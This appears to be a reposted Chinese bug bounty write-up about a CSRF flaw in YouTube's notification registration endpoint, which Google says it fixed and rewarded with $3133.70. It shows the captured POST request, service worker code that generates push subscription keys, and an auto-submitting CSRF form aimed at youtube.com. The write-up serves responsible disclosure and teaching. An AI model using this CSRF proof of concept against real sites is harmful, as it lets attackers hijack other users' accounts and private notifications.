内容简介:某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中
大家好,今天分享的writeup是关于YouTube通知服务(Notification)的CSRF漏洞,作者利用该漏洞可以劫持其他YouTube用户(受害者)的通知服务,能以受害者用户身份接收到其订阅频道或视频的最新通知,漏洞最终获得Google官方$3133.7美金的奖励,以下是作者的分享。
从POST请求中发现端倪
某天晚上,我在YouTube官网上测试漏洞,看看能有什么发现,不知不觉时间已经是半夜00:30了,困累之极…..。我就随便点点打开了YouTube的通知服务(Notification),其中的POST请求引起了我的注意:
POST /notifications_ajax?action_register_device=1 HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.youtube.com/sw.js Content-Type: multipart/form-data; boundary=---------------------------41184676334 Origin: https://www.youtube.com Content-Length: 1459 Connection: close Cookie: duh, cookies! -----------------------------41184676334 Content-Disposition: form-data; name="endpoint" https://updates.push.services.mozilla.com/wpush/v1/gAAA... -----------------------------41184676334 Content-Disposition: form-data; name="device_id" dbe8453d99714c6160994fdf5bb3c59332df04278a... -----------------------------41184676334 Content-Disposition: form-data; name="p256dh_key" BBNVkVOt6tpY1KvJJqtLvqt... -----------------------------41184676334 Content-Disposition: form-data; name="auth_key" V5-_lh6nYT2zoY... -----------------------------41184676334 Content-Disposition: form-data; name="permission" granted -----------------------------41184676334--
乍一看,为了防止CSRF,其中的auth_key、p256dh_key、endpoint、device_id等参数貌似都是经过编码的字符串,但仔细一分析才知道,这些所有的参数都是由其中 updates.push.services.mozilla.com 的Mozilla通知推送服务产生的,所以,这样初略来看,该接口上不存在CSRF漏洞。
分析 Service Worker 服务工作线程
深入分析可知,上述POST请求中的referrer字段值为“ https://www.youtube.com/sw.js ”,这个sw.js明显为一个服务工作线程脚本(Service Worker)。
Service Worker 是独立于当前页面的一段运行在浏览器后台进程里的脚本。Service Worker不需要用户打开 web 页面,也不需要其他交互,异步地运行在一个完全独立的上下文环境,不会对主线程造成阻塞。基于Service Worker可以实现消息推送、离线缓存和后台同步API等功能,本质上来说,Service Worker充当了Web应用程序与浏览器之间的代理。
也就是说,referrer字段中的sw.js发起了这个POST请求,以至于这个请求和其它具备CSRF防御机制的YouTube请求内容存在不同。
构造CSRF攻击框架
到了这一步,从这些参数里,我隐约觉得这里应该会有漏洞出现,但总要构造个PoC出来试试看。因此,通过研究以上参数的生成机制,我利用sw.js原理,编写了以下三个代码文件,构建了一个本地服务端来生成其中的各个参数。
index.html:
<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <title>Push Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="index.css" /> <script src="index.js"></script> </head> <body> <h1>Hello World</h1> <button id="permission-btn" onclick="main()">Ask Permission</button> </body> </html> index.js: const check = () => { if (!('serviceWorker' in navigator)) { throw new Error('No Service Worker support!') } if (!('PushManager' in window)) { throw new Error('No Push API Support!') } } const registerServiceWorker = async () => { const swRegistration = await navigator.serviceWorker.register('sw.js') return swRegistration } const requestNotificationPermission = async () => { const permission = await window.Notification.requestPermission() if (permission !== 'granted') { throw new Error('Permission not granted for Notification') } } const main = async () => { check() const swRegistration = await registerServiceWorker() const permission = await requestNotificationPermission() }
sw.js:
self.addEventListener('activate', async () => { console.log("Hello"); self.registration.pushManager.subscribe() .then(function(subscription) { console.log(JSON.stringify(subscription)); }) .catch(function(e) { console.log(e); }); }) self.addEventListener("push", function(event) { if (event.data) { console.log("Push event!! ", event.data.text()); showLocalNotification("Yolo", event.data.text(), self.registration); } else { console.log("Push event but no data"); } }); const showLocalNotification = (title, body, swRegistration) => { const options = { body // here you can add more properties like icon, image, vibrate, etc. }; swRegistration.showNotification(title, options); };
这三个代码文件的目的在于获取sw.js请求时生成的各个参数,有了这些参数,就可以间接形成通知(Notification),打开其中的index.html页面,点击Ask Permission按钮请求通知权限,后台调用sw.js脚本,通过内置的Firefox API形成一个本地的通知服务端,通知请求提交时,我们就能获取到其中的各个参数。利用这些参数,可以进一步构造出CSRF攻击框架,就能获取到对应的通知消息。
在本地loclalhost构造这种通知请求服务端,需要用到Service Worker 服务工作线程(sw.js)的部署原理,其中涉及服务注册、激活、缓存控制和相关响应机制,具体可参考: developer.mozilla.org 和 developers.google.com 中的详细介绍说明。
综合上述分析,基于我们之前创建的本地通知服务端,结合Youtube的通知请求提交方式,我构造了以下CSRF攻击框架:
<form action="https://www.youtube.com/notifications_ajax?action_register_device=1" method="post" enctype="multipart/form-data" name="csrf"> <input type="text" name="device_id" value="replace"> <input type="text" name="permission" value="granted"> <input type="text" name="endpoint" value="replace"> <input type="text" name="p256dh_key" value="replace="> <input type="text" name="auth_key" value="replace"> <input type="submit"> <script type="text/javascript">document.csrf.submit();</script> </form> </html>
让我意想不到的是,我在其中以其他Youtube账号身份,利用获取到的各种请求参数,提交了通知请求,竟然能有效实施通知消息的CSRF攻击。也就是说,我们现在可以劫持到其他Youtube账号的消息推送接口(PUSH webhook),以其他Youtube账号身份收取到Youtube响应该账号的相关通知,这些通知可能是他订阅的某个频道或视频的更新消息,也可能是他私人视频的观众评论等,如下:
漏洞上报后,谷歌在半小时之后就给了我回复,称漏洞有效,会尽快走完验证修复流程,并会及时给我后续通知。半个多月后,谷歌回复称修复工作已经完成,漏洞按其VRP项目核定,达到$3133.70美金的奖励。
以上所述就是小编给大家介绍的《挖洞经验 | 利用CSRF漏洞劫持Youtube用户的通知消息》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 挖洞经验 | 篡改密码重置的加密参数实现账号劫持
- 挖洞经验 | 绕过Facebook CSRF防护机制实现账户劫持
- 挖洞经验 | 看我如何发现星巴克(Starbucks)子域名劫持漏洞
- 挖洞经验 | 密码重置Token可预测性导致的账号劫持漏洞
- 挖洞经验 | 通过密码重置功能构造HTTP Leak实现任意账户劫持
- 挖洞经验 | 从XSS漏洞到四步CSRF利用实现账户劫持
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
解密搜索引擎技术实战
罗刚 / 2011-6 / 69.80元
《解密搜索引擎技术实战-Lucene&Java精华版(附盘)》,本书主要包括总体介绍部分、爬虫部分、自然语言处理部分、全文检索部分以及相关案例分析。爬虫部分介绍了网页遍历方法和如何实现增量抓取,并介绍了从网页等各种格式的文档中提取主要内容的方法。自然语言处理部分从统计机器学习的原理出发,包括了中文分词与词性标注的理论与实现以及在搜索引擎中的实用等细节,同时对文档排重、文本分类、自动聚类、句法分析树......一起来看看 《解密搜索引擎技术实战》 这本书的介绍吧!